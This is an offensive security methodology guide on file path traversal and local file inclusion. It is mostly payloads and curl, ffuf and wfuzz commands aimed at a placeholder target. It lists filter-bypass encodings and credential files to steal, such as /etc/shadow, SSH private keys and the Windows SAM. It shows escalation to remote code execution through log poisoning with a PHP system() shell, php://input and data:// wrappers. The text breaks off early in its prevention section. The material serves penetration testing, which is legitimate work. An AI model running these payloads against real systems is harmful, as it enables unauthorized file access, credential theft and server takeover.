file-path-traversal

# File Path Traversal Testing ## Purpose Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation. ## Prerequisites ### Required Tools - Web browser with developer tools - Burp Suite or OWASP ZAP - cURL for testing payloads - Wordlists for automation - ffuf or wfuzz for fuzzing ### Required Knowledge - HTTP request/response structure - Linux and Windows filesystem layout - Web application architecture - Basic understanding of file APIs ## Outputs and Deliverables 1. **Vulnerability Report** - Identified traversal points and severity 2. **Exploitation Proof** - Extracted file contents 3. **Impact Assessment** - Accessible files and data exposure 4. **Remediation Guidance** - Secure coding recommendations ## Core Workflow ### Phase 1: Understanding Path Traversal Path traversal occurs when applications use user input to construct file paths: ```php // Vulnerable PHP code example $template = "blue.php"; if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) { $template = $_COOKIE['template']; } include("/home/user/templates/" . $template); ``` Attack principle: - `../` sequence moves up one directory - Chain multiple sequences to reach root - Access files outside intended directory Impact: - **Confidentiality** - Read sensitive files - **Integrity** - Write/modify files (in some cases) - **Availability** - Delete files (in some cases) - **Code Execution** - If combined with file upload or log poisoning ### Phase 2: Identifying Traversal Points Map application for potential file operations: ```bash # Parameters that often handle files ?file= ?path= ?page= ?template= ?filename= ?doc= ?document= ?folder= ?dir= ?include= ?src= ?source= ?content= ?view= ?download= ?load= ?read= ?retrieve= ``` Common vulnerable functionality: - Image loading: `/image?filename=23.jpg` - Template selection: `?template=blue.php` - File downloads: `/download?file=report.pdf` - Document viewers: `/view?doc=manual.pdf` - Include mechanisms: `?page=about` ### Phase 3: Basic Exploitation Techniques #### Simple Path Traversal ```bash # Basic Linux traversal ../../../etc/passwd ../../../../etc/passwd ../../../../../etc/passwd ../../../../../../etc/passwd # Windows traversal ..\..\..\windows\win.ini ..\..\..\..\windows\system32\drivers\etc\hosts # URL encoded ..%2F..%2F..%2Fetc%2Fpasswd ..%252F..%252F..%252Fetc%252Fpasswd # Double encoding # Test payloads with curl curl "http://target.com/image?filename=../../../etc/passwd" curl "http://target.com/download?file=....//....//....//etc/passwd" ``` #### Absolute Path Injection ```bash # Direct absolute path (Linux) /etc/passwd /etc/shadow /etc/hosts /proc/self/environ # Direct absolute path (Windows) C:\windows\win.ini C:\windows\system32\drivers\etc\hosts C:\boot.ini ``` ### Phase 4: Bypass Techniques #### Bypass Stripped Traversal Sequences ```bash # When ../ is stripped once ....//....//....//etc/passwd ....\/....\/....\/etc/passwd # Nested traversal ..././..././..././etc/passwd ....//....//etc/passwd # Mixed encoding ..%2f..%2f..%2fetc/passwd %2e%2e/%2e%2e/%2e%2e/etc/passwd %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd ``` #### Bypass Extension Validation ```bash # Null byte injection (older PHP versions) ../../../etc/passwd%00.jpg ../../../etc/passwd%00.png # Path truncation ../../../etc/passwd............................... # Double extension ../../../etc/passwd.jpg.php ``` #### Bypass Base Directory Validation ```bash # When path must start with expected directory /var/www/images/../../../etc/passwd # Expected path followed by traversal images/../../../etc/passwd ``` #### Bypass Blacklist Filters ```bash # Unicode/UTF-8 encoding ..%c0%af..%c0%af..%c0%afetc/passwd ..%c1%9c..%c1%9c..%c1%9cetc/passwd # Overlong UTF-8 encoding %c0%2e%c0%2e%c0%af # URL encoding variations %2e%2e/ %2e%2e%5c ..%5c ..%255c # Case variations (Windows) ....\\....\\etc\\passwd ``` ### Phase 5: Linux Target Files High-value files to target: ```bash # System files /etc/passwd # User accounts /etc/shadow # Password hashes (root only) /etc/group # Group information /etc/hosts # Host mappings /etc/hostname # System hostname /etc/issue # System banner # SSH files /root/.ssh/id_rsa # Root private key /root/.ssh/authorized_keys # Authorized keys /home/<user>/.ssh/id_rsa # User private keys /etc/ssh/sshd_config # SSH configuration # Web server files /etc/apache2/apache2.conf /etc/nginx/nginx.conf /etc/apache2/sites-enabled/000-default.conf /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log # Application files /var/www/html/config.php /var/www/html/wp-config.php /var/www/html/.htaccess /var/www/html/web.config # Process information /proc/self/environ # Environment variables /proc/self/cmdline # Process command line /proc/self/fd/0 # File descriptors /proc/version # Kernel version # Common application configs /etc/mysql/my.cnf /etc/postgresql/*/postgresql.conf /opt/lampp/etc/httpd.conf ``` ### Phase 6: Windows Target Files Windows-specific targets: ```bash # System files C:\windows\win.ini C:\windows\system.ini C:\boot.ini C:\windows\system32\drivers\etc\hosts C:\windows\system32\config\SAM C:\windows\repair\SAM # IIS files C:\inetpub\wwwroot\web.config C:\inetpub\logs\LogFiles\W3SVC1\ # Configuration files C:\xampp\apache\conf\httpd.conf C:\xampp\mysql\data\mysql\user.MYD C:\xampp\passwords.txt C:\xampp\phpmyadmin\config.inc.php # User files C:\Users\<user>\.ssh\id_rsa C:\Users\<user>\Desktop\ C:\Documents and Settings\<user>\ ``` ### Phase 7: Automated Testing #### Using Burp Suite ``` 1. Capture request with file parameter 2. Send to Intruder 3. Mark file parameter value as payload position 4. Load path traversal wordlist 5. Start attack 6. Filter responses by size/content for success ``` #### Using ffuf ```bash # Basic traversal fuzzing ffuf -u "http://target.com/image?filename=FUZZ" \ -w /usr/share/wordlists/traversal.txt \ -mc 200 # Fuzzing with encoding ffuf -u "http://target.com/page?file=FUZZ" \ -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \ -mc 200,500 -ac ``` #### Using wfuzz ```bash # Traverse to /etc/passwd wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \ --hc 404 \ "http://target.com/index.php?file=FUZZ" # With headers/cookies wfuzz -c -z file,traversal.txt \ -H "Cookie: session=abc123" \ "http://target.com/load?path=FUZZ" ``` ### Phase 8: LFI to RCE Escalation #### Log Poisoning ```bash # Inject PHP code into logs curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/ # Include Apache log file curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id" # Include auth.log (SSH) # First: ssh '<?php system($_GET["cmd"]); ?>'@target.com curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami" ``` #### Proc/self/environ ```bash # Inject via User-Agent curl -A "<?php system('id'); ?>" \ "http://target.com/page?file=/proc/self/environ" # With command parameter curl -A "<?php system(\$_GET['c']); ?>" \ "http://target.com/page?file=/proc/self/environ&c=whoami" ``` #### PHP Wrapper Exploitation ```bash # php://filter - Read source code as base64 curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php" # php://input - Execute POST data as PHP curl -X POST -d "<?php system('id'); ?>" \ "http://target.com/page?file=php://input" # data:// - Execute inline PHP curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id" # expect:// - Execute system commands curl "http://target.com/page?file=expect://id" ``` ### Phase 9: Testing Methodology Structured testing approach: ```bash # Step 1: Identify potential parameters # Look for file-related functionality # Step 2: Test basic traversal ../../../etc/passwd # Step 3: Test encoding variations ..%2F..%2F..%2Fetc%2Fpasswd %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd # Step 4: Test bypass techniques ....//....//....//etc/passwd ..;/..;/..;/etc/passwd # Step 5: Test absolute paths /etc/passwd # Step 6: Test with null bytes (legacy) ../../../etc/passwd%00.jpg # Step 7: Attempt wrapper exploitation php://filter/convert.base64-encode/resource=index.php # Step 8: Attempt log poisoning for RCE ``` ### Phase 10: Prevention Measures Secure coding practices: ```php // PHP: Use basename() to strip paths $filename = basename($_GET['file']); $path = "/var/www/files/" . $filename; // PHP: Validate against whitelist